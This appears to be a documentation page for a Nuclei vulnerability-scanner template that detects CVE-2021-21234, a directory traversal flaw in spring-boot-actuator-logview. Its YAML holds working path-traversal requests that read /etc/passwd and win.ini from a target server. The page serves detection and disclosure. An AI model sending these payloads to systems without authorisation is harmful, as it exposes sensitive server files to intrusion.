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Spring Boot Actuator Logview Directory Traversal

ID: CVE-2021-21234

Severity: high

Author: gy741,pikpikcu

Tags: cve2021,cve,springboot,lfi,actuator,spring-boot-actuator-logview_project

Description

Section titled “Description”

spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package “eu.hinsch:spring-boot-actuator-logview”.

YAML Source

Section titled “YAML Source”
id: CVE-2021-21234


info:
  name: Spring Boot Actuator Logview Directory Traversal
  author: gy741,pikpikcu
  severity: high
  description: |
    spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information stored on the server.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator.
  reference:
    - https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
    - https://github.com/cristianeph/vulnerability-actuator-log-viewer
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21234
    - https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772
    - https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6
    - https://blog.csdn.net/qq_39583774/article/details/123023770#t5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2021-21234
    cwe-id: CWE-22
    epss-score: 0.96732
    epss-percentile: 0.99659
    cpe: cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: spring-boot-actuator-logview_project
    product: spring-boot-actuator-logview
  tags: cve2021,cve,springboot,lfi,actuator,spring-boot-actuator-logview_project


http:
  - method: GET
    path:
      - "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
      - "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
      - "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
      - "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"


    stop-at-first-match: true


    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "contains(header,'text/plain')"
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and


      - type: dsl
        dsl:
          - "contains(header,'text/plain')"
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
        condition: and
# digest: 490a00463044022039289032ba83d0ecd5879312daf61ef82fed3b155f5ee31366700a63ec2989fd0220706a4f74f7981c818274396e790762a79a9705125251b851e13f4dbac6c8b269:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21234.yaml"

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